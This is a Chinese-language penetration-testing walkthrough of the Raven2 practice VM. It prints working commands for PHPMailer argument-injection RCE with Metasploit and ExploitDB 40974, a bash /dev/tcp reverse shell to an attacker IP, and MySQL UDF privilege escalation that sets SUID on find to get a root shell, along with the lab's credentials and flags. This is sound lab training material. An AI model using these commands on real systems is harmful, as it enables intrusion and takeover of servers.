渗透测试——Raven2靶机横向提权详细过程(PHPMailer框架利用,UDF提取)

大家好,今天是大年初二,没想到在新年里也会写文章(其实是太无聊了,晚上才有活动);

今天给大家带来一篇PHPMailer框架的漏洞文章,主要重点还是UDF提取,前面框架渗透都是挺简单的,这里不再赘述;

文章目录


前置准备

将目标靶机网段设置为192.168.44.0/24 :

随后在VirtualBox 里启动靶机:

随后在"设置"里选择仅主机Host-only模式

VMware 里启动Kali:

  • Kali的IP地址:192.168.56.103

接下来就可以开始我们的靶机渗透了;


信息收集

bash 复制代码
nmap -sP 192.168.56.0/24

# 详细信息收集
nmap -sC -sV -A -p- 192.168.44.128 

结果如下:

可以知道目标机器的IP地址为:192.168.56.114

并且只开放了两个端口:

  • 80端口:http服务
  • 22端口:SSH服务

Web服务信息收集

于是首先访问http://192.168.56.114/,页面结果如下:

随便点击页面的链接,并没有发现什么有用的东西,所以先尝试Web目录枚举

结果如下:

200 状态码文件 / 路径 作用
/.DS_Store macOS 系统隐藏文件,可能泄露目录结构和文件名,辅助信息收集
/about.html 站点关于页面,可用于了解业务背景、人员信息或技术栈线索
/contact.php 联系表单页面,可能存在未过滤输入,可测试 XSS、CSRF 或邮件注入漏洞
/index.html 站点首页,可用于分析前端技术栈、链接结构和隐藏入口
/js/ JavaScript 资源目录,可枚举前端脚本,发现 API 路径、敏感注释或未授权功能
/manual/index.html 技术手册页面,可能泄露服务器版本、配置细节或未公开的功能说明
/vendor/ 第三方依赖库目录,可能存在已知漏洞的库文件,可用于版本比对和漏洞利用
/wordpress/wp-login.php WordPress 登录入口,可用于暴力破解或凭证获取,是核心管理入口
/wordpress/ WordPress 站点根目录,可能存在插件、主题或配置文件泄露,可进一步枚举
  • /manual/en/index.html页面

可以看到是一个Apache的官方页面;

  • /vendor/页面

很容易理解,这个应该就是Web服务的目录,只不过并没有做权限管理,导致其对外公开;

随后我就一一进行查看,还真发现了一些有用的信息

(1)Web的目录路径: /var/www/html/vendor/

(2)vendor/README.md路径:

貌似是一些测试用的账号密码?

bash 复制代码
$mail->isSMTP();
$mail->Host = 'smtp1.example.com;smtp2.example.com';
$mail->SMTPAuth = true;
$mail->Username = 'user@example.com';
$mail->Password = 'secret';
$mail->SMTPSecure = 'tls';
$mail->Port = 587;

这段代码是一个标准的 PHPMailer SMTP 发送示例。

参数 风险
Host 暴露内部邮件服务器
Username SMTP 账号
Password SMTP 密码
Port 可用于端口探测
SMTPSecure 加密方式判断

(3)vendor/VERSION:系统版本5.2.16

(之后的其他目录就没有什么可利用的信息了)

漏洞利用提权

PHPMailer框架利用

所以我们去漏洞库看看是否存在相应的RCE漏洞

这里我们可以看到两个可利用POC:

  • PHPMailer < 5.2.19 - Sendmail Argument Injection (Metasploit)
  • PHPMailer < 5.2.18 - Remote Code Execution

所以我们可以分别尝试一下:

MSF漏洞利用

bash 复制代码
# 进入框架
msfconsole -q

# 搜索模块
search PHPMailer
# 使用
use exploit/multi/http/phpmailer_arg_injection

结果如下:

查看配置:

  • 随后指定目标主机192.168.59.136
  • 及其漏洞页面contact.php
  • 并设置Web根目录为/var/www/html以确保恶意Webshell能正确写入
bash 复制代码
set rhosts 192.168.56.114
set TARGETURI /contact.php
set WEB_ROOT /var/www/html

set lhost 192.168.56.103

msf执行run开启攻击,此时执行contact.php会在根目录 下生成了木马/contact.php/FjNo3zva.php

随后访问网址 http://192.168.56.114/FjNo3zva.php 即可建立反弹shell:

这里由于使用框架漏洞,并不需要使用reverse_tcp 模块:(直接访问即可)

  • set payload php/meterpreter/reverse_tcp
  • set lhost 192.168.56.103
  • set lport 444
  • run

可以看到获取了Web服务器的www-data 权限:

输入命令获取交互式shell:

python 复制代码
python -c 'import pty;pyt.spawn("/bin/bash")'

然后看是否存在可利用的文件来实现越权

敏感文件权限

(1)查看/etc/passwd的敏感文件权限

无法利用;

SUDO提权

无可用权限;

SUID提权

输入命令寻找可利用的s程序:

bash 复制代码
find / -perm -u=s -type f 2>/dev/null

但是都很遗憾,试了没能尝试成功;

数据库配置文件wp-config.php

我们之前在信息收集的时候,知道了Web目录路径为 /var/www/html ,并且存在/wordpress/wp-login.php ,所以我们很容易知道搭建的系统为------WordPress

因此,可以到网站根目录下查看一下相应的配置文件wp-config.php

一一进行查看:

文件/目录 类型 作用/可利用点 优先级
wp-config.php 文件 含数据库账号密码、表前缀等敏感信息,若泄露可控制网站
wp-content/ 目录 包含 themes/plugins/uploads/,可能存在 RCE、文件上传漏洞
xmlrpc.php 文件 可用于暴力破解、Pingback 利用、信息收集 中高
wp-login.php 文件 登录入口,可进行有限次数的密码测试或用户枚举 中高
wp-admin/ 目录 管理后台,若弱密码可访问,部分插件存在漏洞可利用
wp-includes/ 目录 核心文件夹,老版本可能存在漏洞 中低
wp-activate.php 文件 多站点激活入口,特定漏洞可利用
wp-signup.php 文件 多站点注册入口,特定漏洞可利用

于是分别查看:

首先在发现了数据库账号密码:root / R@v3nSecurity

bash 复制代码
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');

/** MySQL database username */
define('DB_USER', 'root');

/** MySQL database password */
define('DB_PASSWORD', 'R@v3nSecurity');

/** MySQL hostname */
define('DB_HOST', 'localhost');

/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8mb4');

/** The Database Collate type. Don't change this if in doubt. */
define('DB_COLLATE', '');

之后又花了十几分钟进行查看,均未发现有用信息;

尝试MySQL数据库提权

既然我们已经有了数据库的账号密码,那就看看能不能搞到Web服务的其他用户,然后尝试i提权到root 权限:

bash 复制代码
账号:root 
密码:R@v3nSecurity

mysql -u root -h 192.168.56.114 -p 

但是发现在MSF里登陆不了数据库,那怎么办?

  • 那就使用其他方法上线一个shell,再用kali去连接,不用MSF框架了;

获取root权限

方法一:使用searchsploit

参考文章:https://www.cnblogs.com/BKNboy-Blog/p/18294780/Shooting_Range3

首先使用searchsploit查询:

得到结果;

将其复制出来,找到文件的路径:

bash 复制代码
find / -name 40974.py 2>/dev/null

得到路径为:/usr/share/exploitdb/exploits/php/webapps/40974.py

于是复制一份到桌面,随后修改参数:

bash 复制代码
cp /usr/share/exploitdb/exploits/php/webapps/40974.py /home/ok/Desktop/40974.py

# 赋权
chmod 777 /home/ok/Desktop/40974.py

# 编辑参数
vim 40974.py

未修改前:

修改后:

随后使用python3打开这个修改后的文件(运行后出现如下错误,只要pip install requests-toolbelt即可):

然后我们访问下http://192.168.56.114/contact.php,这样就会执行我们的payload在目录下面生成shell.php

建立监听:nc -nvlp 7890

访问页面:http://192.168.56.114/shell.php

随后就会出现一个shell;


方法二:MSF会话的再利用

bash 复制代码
经过我的一番思考,也是想出了这样的一个方法,也能获取会话;

之前我们不是在MSF框架里返回了Web服务器的session吗,我们可以在该机器创建一个shell.sh文件,来反弹会话:

bash 复制代码
touch shell.sh
# 输入内容
echo 'bash -i >& /dev/tcp/192.168.56.103/6666 0>&1' > shell.sh
# 赋权
chmod +x shell.sh
# 执行
bash shell.sh

成功反弹会话;

数据库UDF提权

所以接下来我们就能进行数据库的提权操作了;

之前也写过相应的文章,详情请看:渗透测试------Kioptrix4靶机渗透提权(SQL注入,脏牛利用,UDF提权)

bash 复制代码
账号:root 
密码:R@v3nSecurity

mysql -uroot -pR@v3nSecurity

成功登陆:

bash 复制代码
# 查看数据库版本
select version();

UDF(User-Defined Function)提权是一种通过 MySQL 自定义函数功能来执行系统命令的经典提权手段。

  • MySQL < 5.1: 插件(.dll 或 .so)需要导出到系统目录(如 C:\Windows\System32/usr/lib
  • MySQL ≥ 5.1: 插件必须导出到 MySQL 安装目录的 lib\plugin 文件夹下
  • 核心条件
    • 获得 MySQL 的 root 权限账号密码
    • secure_file_priv 参数为空(允许向任意路径写入文件)
    • MySQL 进程具有目标文件夹的写权限

(1)首先看一下是否满足写入条件:

bash 复制代码
这里secure_file_priv没有具体值,表示不对mysqld的导入|导出做限制,这个时候可以提权。
如果secure_file_priv的值为NULL,表示限制mysqld不允许导入|导出,此时无法进行提权。
如果secure_file_priv的值为/tmp/,表示限制mysqld的导入|导出只能发生在/tmp/目录下,也无法进行提权。

命令如下:show variables like 'secure_file_priv';(为空,可以写入)

(2)插件目录:show variables like 'plugin_dir';

因为MySQL的版本大于5.1,所以UDF的动态链接库文件放置于MySQL安装目录下的lib\plugin文件夹下才能创建自定义函数

(3)在漏洞库搜索可利用的payload:


(漏洞编号为1518)

下载到本地进行编译:

(4)gcc编译.o文件

bash 复制代码
gcc -g -c 1518.c  
gcc -g -shared -o 1518.so 1518.o -lc


接下来将生成的.so文件上传到靶机

(5)登录数据库,并创建自定义函数

bash 复制代码
# 登陆
mysql -uroot -pR@v3nSecurity

# 切换到mysql库
use mysql
# 创建数据表bkn
create table cxk(line blob);

# 插入数据
insert into bkn values(load_file('/tmp/1518.so'));
select * from bkn into dumpfile '/usr/lib/mysql/plugin/1522.so';

# 查看函数表,确认 do_system 是否已存在
select * from mysql.func;

# 赋予 find 命令 root 权限位
select do_system('chmod u+s /usr/bin/find');

# 退出 MySQL
exit;


成功插入后利用dumpfile函数把文件导出;

创建自定义函数do_system,类型是integer,别名(soname)文件名字,然后查询函数是否创建成功:

赋予 find 命令 root 权限位

使用find执行shell:

bash 复制代码
# 1. 创建一个名为 bkn 的临时文件(用于 find 命令的操作对象)
touch 123

# 2. 利用 find 命令的 -exec 选项执行 shell
# 由于 find 之前被赋予了 SUID 权限,此时开启的 shell 将具有 root 权限
find 123 -exec "/bin/sh" \;

# 3. 在进入的 shell 中查看当前目录文件
ls

# 4. 验证当前用户身份,确认是否已获得 root 权限
find 123 -exec "whoami" \;

可以看到现在已经是root权限

至此也是成功获取全部权限;

找flag

我也是在做完试验后才知道这个靶机要找flag,不然我都当普通的靶机来渗透了;

bash 复制代码
find / -name "*flag*" -type f 2>/dev/null

既然拿到了最高权限,找flag不就是一句话的事?

  • flag1在Web系统里:flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}
  • flag2在www文件下:flag2{6a8ed560f0b5358ecf844108048eb337}
  • flag3是张图片,直接访问:/wordpress/wp-content/uploads/2018/11/flag3.png
  • flag4:flag4{df2bc5e951d91581467bb9a2a8ff4425}

总结

技术总结:

  • PHPMailer 远程代码执行 (RCE):借助 CVE-2016-10033 高危漏洞,利用 PHPMailer 在调用 mail() 函数时对 Sender 参数校验不严的缺陷,向目标服务器注入恶意指令。

  • 反弹 Shell 自动化利用:通过执行写入服务器的恶意脚本,利用 Python 交互式语句主动连接攻击者监听的端口,从而突破边界获取 Web 权限会话。

  • MySQL UDF 权限提升:利用获取的数据库高权限账号,通过加载恶意共享库文件(如 lib_mysqludf_sys.so)创建自定义函数,实现从数据库权限向系统 root 权限的跨越。

  • Flag 获取与痕迹清理:在取得系统最高权限后,进入 /root 目录提取最终的证明文件,完成对 Raven2 靶机的全路径渗透测试。

期待下次再见;

相关推荐
Bruce_Liuxiaowei2 小时前
eScan杀毒软件供应链攻击剖析和解读:一次针对信任链的精准打击
网络·安全·系统安全·信任链
盟接之桥2 小时前
盟接之桥说制造:制造业的精致之道,致制造人
大数据·linux·运维·人工智能·windows·安全·制造
Starry_hello world2 小时前
Linux 网络(1)
网络
@hdd11 小时前
Kubernetes 网络模型:Pod 通信、Service 网络与 CNI
网络·云原生·容器·kubernetes
崎岖Qiu13 小时前
【计算机网络 | 第十一篇】图解交换机的自学习功能
网络·学习·计算机网络
Zach_yuan13 小时前
数据链路层核心技术解析:以太网与ARP协议
服务器·网络·网络协议
coding随想15 小时前
CSP与MIME的双重奏:打造无懈可击的Web安全防线
安全·web安全
上海合宙LuatOS16 小时前
LuatOS核心库API——【io】 io操作(扩展)
java·服务器·前端·网络·单片机·嵌入式硬件·物联网
blackorbird17 小时前
借助Claude逆向分析智能睡眠眼罩并发现安全问题
安全